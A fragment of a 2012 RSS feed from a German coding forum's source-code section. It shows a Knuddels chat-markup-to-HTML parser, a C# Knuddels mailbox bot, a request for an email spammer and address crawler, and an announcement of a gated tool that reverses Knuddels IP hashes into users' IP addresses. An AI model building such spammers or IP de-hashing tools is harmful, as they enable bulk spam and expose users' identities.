/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">font&nbsp;color</span><span style="color: #007700">=</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">rgbColor</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;rgbColor.length()&nbsp;+&nbsp;3;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch&nbsp;(Exception&nbsp;ex)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append(ch);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;code.toString();<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;boolean&nbsp;isColor(int&nbsp;character)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(character)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'A':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'B':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'C':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'D':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'E':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'G':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'K':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'L':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'M':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'N':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'O':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'P':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'R':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'r':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'W':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;'Y':<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;String&nbsp;GetHtmlColor(char&nbsp;s)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(s&nbsp;==&nbsp;'A')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">GRAY</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'B')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">BLUE</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'C')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">CYAN</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'D')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">DARKGRAY</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'E')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">DARKGREEN</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'G')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">GREEN</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'K')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">BLACK</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'Y')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">YELLOW</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'L')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">LIGHTBLUE</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'M')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">VIOLET</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'N')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">BROWN</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'O')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">ORANGE</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'P')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">PINK</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'R')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">RED</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'W')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">WHITE</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'Y')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">YELLOW</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(s&nbsp;==&nbsp;'r')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;Integer.toString(fontColor.getRGB()&nbsp;&amp;&nbsp;0x00ffffff,&nbsp;16);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;"</span><span style="color: #0000BB">BLACK</span><span style="color: #DD0000">";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;boolean&nbsp;isNumber(int&nbsp;character)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;character&nbsp;&gt;=&nbsp;'0'&nbsp;&amp;&amp;&nbsp;character&nbsp;&lt;=&nbsp;'9';<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;boolean&nbsp;isImage(String&nbsp;s)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;s.endsWith("</span><span style="color: #007700">.</span><span style="color: #0000BB">gif</span><span style="color: #DD0000">")&nbsp;|&nbsp;s.endsWith("</span><span style="color: #007700">.</span><span style="color: #0000BB">png</span><span style="color: #DD0000">")&nbsp;|&nbsp;s.endsWith("</span><span style="color: #007700">.</span><span style="color: #0000BB">jpg</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;String&nbsp;parseColor(String&nbsp;input)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pattern&nbsp;p&nbsp;=&nbsp;Pattern.compile("</span><span style="color: #007700">(\\</span><span style="color: #0000BB">d</span><span style="color: #007700">{</span><span style="color: #0000BB">1</span><span style="color: #007700">,</span><span style="color: #0000BB">3</span><span style="color: #007700">}),(\\</span><span style="color: #0000BB">d</span><span style="color: #007700">{</span><span style="color: #0000BB">1</span><span style="color: #007700">,</span><span style="color: #0000BB">3</span><span style="color: #007700">}),(\\</span><span style="color: #0000BB">d</span><span style="color: #007700">{</span><span style="color: #0000BB">1</span><span style="color: #007700">,</span><span style="color: #0000BB">3</span><span style="color: #007700">})</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Matcher&nbsp;matcher&nbsp;=&nbsp;p.matcher(input);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(matcher.find())&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;colors&nbsp;=&nbsp;matcher.group();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;c1&nbsp;=&nbsp;Integer.parseInt(colors.split("</span><span style="color: #007700">,</span><span style="color: #DD0000">")&#91;0&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;c2&nbsp;=&nbsp;Integer.parseInt(colors.split("</span><span style="color: #007700">,</span><span style="color: #DD0000">")&#91;1&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;c3&nbsp;=&nbsp;Integer.parseInt(colors.split("</span><span style="color: #007700">,</span><span style="color: #DD0000">")&#91;2&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;Integer.toString((new&nbsp;Color(c1,&nbsp;c2,&nbsp;c3)).getRGB()&nbsp;&amp;&nbsp;0xffffff,&nbsp;16);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;null;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span>
</span>
</code></code><hr />
</div>Verbesserungsvorschlag sind erwünscht! :)<br />
<br />
mfg uncopyable</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>uncopyable</dc:creator>
			<guid isPermaLink="true">sourcecode-91/kcodeparser-kcode-to-html-32262</guid>
		</item>
		<item>
			<title><![CDATA[Email spammer & crawler]]></title>
			<link>sourcecode-91/email-spammer-crawler-14922?goto=newpost</link>
			<pubDate>Thu, 19 Jul 2012 21:40:27 GMT</pubDate>
			<description>Hallo ich suche einen email spammer und einen email crawler. 
 
Der spammer soll die gecrwallten emails auslesen und dann jeden eine bestimmte mail...</description>
			<content:encoded><![CDATA[<div>Hallo ich suche einen email spammer und einen email crawler.<br />
<br />
Der spammer soll die gecrwallten emails auslesen und dann jeden eine bestimmte mail zu schicken</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">sourcecode-91/email-spammer-crawler-14922</guid>
		</item>
		<item>
			<title>Knuddels UnHasher v1.0 (Not Complete)</title>
			<link>sourcecode-91/knuddels-unhasher-v1-0-not-complete-30987?goto=newpost</link>
			<pubDate>Mon, 16 Jul 2012 16:19:54 GMT</pubDate>
			<description>*_Knuddels UnHasher 
 
_*Hier nun, wie angekündigt die Source von meinem entwickeltem UnHasher. 
_ 
Der Hasher hat folgende Funktionen:_ 
- wandelt...</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><b><u><font color="Red">Knuddels UnHasher<br />
<br />
</font></u></b><div style="text-align: left;">Hier nun, wie angekündigt die Source von meinem entwickeltem UnHasher.<br />
<u><br />
Der Hasher hat folgende Funktionen:</u><br />
- wandelt IP-Hashes in einer IP-Adresse und deren Hostnamen um<br />
- wandelt eine IP-Adresse in einem IP-Hash um.<br />
<br />
<u><b>Download:</b></u><br />
</div></div>[HIDE=1000]<br />
Executable JAR: <a href="http://localhostr.com/mWa9lPzlUReh" target="_blank" rel="nofollow">Knuddels_unHasher_Binary.zip - Localhostr</a><br />
Source: <a href="http://localhostr.com/ha5Yskn6PhkS" target="_blank" rel="nofollow">Knuddels_unHasher_Source.zip - Localhostr</a><br />
[/HIDE]<br />
<br />
<b><u>Warum erst ab 1.000 Beiträge?</u></b><br />
Ganz einfach. Da man mir keinen Respekt zeigt und mir bei meiner IP-Hash gesuche in keinster Weise geholfen hatte, braucht auch kein Kiddie diese Files - Es können eh nur Administrativ berechtigte bei Knuddels (egal ob DE, COM, AT oder CH) dieses Tool sinnvoll gebrauchen, die Zugriff auf die Admininfo haben.<br />
<br />
Wer die 1.000 Beiträge bereits erreicht hat, darf gerne die Berechnung weiter ausarbeiten. <font color="Red">Ich bitte auch Nutzer (Beispielsweise auch die Administration von KS), die Zugriff auf dem Download haben, niemanden, der um den Download-Link bittet, preiszugeben/auszuhändigen.</font><br />
<br />
<u><b>IP-Hashes werden nicht richtig berechnet?</b></u><br />
Kann natürlich sein. Grund ist ganz einfach: Die Hashberechnung konnte ich nur mittels zwei mir bekannten Hashes durchführen. Da ich mit zwei Hashes keinen Sinnvollen Algorhytmus zusammenstellen konnte, ist es halt so..<br />
<br />
<u><b>Edit:</b></u><br />
Ich möchte nicht, dass der unHasher woanders public gesetzt wird!<br />
Entweder ich halte es für richtig und publiziere diesen woanders oder man darf auch Fragen.<br />
Ich möchte nicht, dass der Unhasher in irgendeiner Form KS verlässt.<br />
<br />
Viel spaß damit!<br />
<br />
Mfg<br />
Batzi</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Batzi</dc:creator>
			<guid isPermaLink="true">sourcecode-91/knuddels-unhasher-v1-0-not-complete-30987</guid>
		</item>
		<item>
			<title>Briefkasten Parser</title>
			<link>sourcecode-91/briefkasten-parser-32326?goto=newpost</link>
			<pubDate>Fri, 13 Jul 2012 21:08:52 GMT</pubDate>
			<description>Hier habt ihr eine Klasse, womit ihr den Inhalt von einer /m parsen könnt. Ist sehr simpel gehalten, nichts besonderes. 
 
*Program.cs* 
 
/* 
      ...</description>
			<content:encoded><![CDATA[<div>Hier habt ihr eine Klasse, womit ihr den Inhalt von einer /m parsen könnt. Ist sehr simpel gehalten, nichts besonderes.<br />
<br />
<b>Program.cs</b><br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
/*<br />
        Briefkasten Parser<br />
        © The Don of NYC - 2012<br />
 */<br />
<br />
using KNLib;<br />
using System;<br />
using System.Windows.Forms;<br />
<br />
namespace Briefkasten_Parser<br />
{<br />
    class Program<br />
    {<br />
        static void Main()<br />
        {<br />
            Application.EnableVisualStyles();<br />
            Console.Title = &quot;Briefkasten Parser&quot;;<br />
<br />
            KSClient KSC = new KSClient(new Applet(&quot;applet.jar&quot;));<br />
            KSC.OnTokenReceived += new KSClient.ReceivedHandler(KSC_OnTokenReceived);<br />
            KSC.Connect(ChatSystem.DE);<br />
<br />
            Console.ForegroundColor = ConsoleColor.White;<br />
            Console.WriteLine(&quot;&lt;ENTER&gt; Knuddes Login&quot;);<br />
            Console.ReadLine();<br />
<br />
            KSC.Login(&quot;&quot;, &quot;&quot;, &quot;&quot;);<br />
        }<br />
<br />
        static void KSC_OnTokenReceived(KSClient KSC, String packet)<br />
        {<br />
            String&#91;&#93; token = packet.Split('\0');<br />
<br />
            switch (token&#91;0&#93;)<br />
            {<br />
                case &quot;u&quot;:<br />
<br />
                    Console.WriteLine(&quot;Erfoglreich eingeloggt.&quot;);<br />
                    break;<br />
<br />
                case &quot;r&quot;:<br />
<br />
                    if (token&#91;4&#93;.Contains(&quot;hat dir gerade&quot;))<br />
                        KSC.SendMessage(&quot;/m +&quot;);<br />
<br />
                    break;<br />
<br />
                case &quot;k&quot;:<br />
<br />
                    if (token&#91;1&#93;.Contains(&quot;Briefkasten&quot;))<br />
                        new MailBox(token&#91;20&#93;).Show();<br />
<br />
                    break;<br />
            }<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
<b>MailBox.cs</b><br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
using System;<br />
using System.Windows.Forms;<br />
using System.Collections.Generic;<br />
<br />
class MailBox<br />
{<br />
    #region Getter<br />
<br />
    public String Sender<br />
    {<br />
        get;<br />
        private set;<br />
    }<br />
<br />
    public String Date<br />
    {<br />
        get;<br />
        private set;<br />
    }<br />
<br />
    public String Content<br />
    {<br />
        get;<br />
        private set;<br />
    }<br />
<br />
    public List&lt;MailBox&gt; Messages<br />
    {<br />
        get;<br />
        private set;<br />
    }<br />
<br />
    #endregion<br />
<br />
    public MailBox(String token)<br />
    {<br />
        Messages = new List&lt;MailBox&gt;();<br />
<br />
        String&#91;&#93; msg = token.Split(new String&#91;&#93; { &quot;Weiterleiten&quot; }, StringSplitOptions.RemoveEmptyEntries);<br />
<br />
        for (int i = 0; i &lt; msg.Length - 1; i++)<br />
        {<br />
            Sender = Split(msg&#91;i&#93;, &quot;°14°_°BB&gt;_h&quot;, 1).Split('|')&#91;0&#93;;<br />
            Date = Split(msg&#91;i&#93;, &quot;|/w &quot;&lt;°°°_#&quot;, 1).Split('#')&#91;0&#93;;<br />
            Content = Split(Split(msg&#91;i&#93;, &quot;°&gt;left&lt;°°+0011r+509°&quot;, 1), &quot;°+5000°°r°°&quot;, 0);<br />
            Content = Content.Remove(Content.Length - 1);<br />
<br />
            Messages.Add(new MailBox(Sender, Date, Content));<br />
        }<br />
    }<br />
<br />
    public void Show()<br />
    {<br />
        foreach (MailBox mBox in Messages)<br />
        {<br />
            MessageBox.Show(String.Format(&quot;Absender: {0}\nDatum: {1}\nNachricht:\n{2}&quot;, mBox.Sender, mBox.Date, mBox.Content), <br />
                            &quot;Neue Nachricht&quot;, MessageBoxButtons.OK, MessageBoxIcon.Information);<br />
        }<br />
    }<br />
<br />
    private MailBox(String sender, String date, String content)<br />
    {<br />
        this.Sender = sender;<br />
        this.Date = date;<br />
        this.Content = content;<br />
    }<br />
<br />
    private String Split(String str, String separator, int index)<br />
    {<br />
        try<br />
        {<br />
            return str.Split(new String&#91;&#93; { separator }, StringSplitOptions.RemoveEmptyEntries)&#91;index&#93;;<br />
        }<br />
        catch (IndexOutOfRangeException)<br />
        {<br />
            return String.Empty;<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script></div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=7820&amp;d=1403411341">Briefkasten Parser.rar</a> 
(2,85 MB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/briefkasten-parser-32326</guid>
		</item>
		<item>
			<title>Passwort-Kodierung v9.0anp</title>
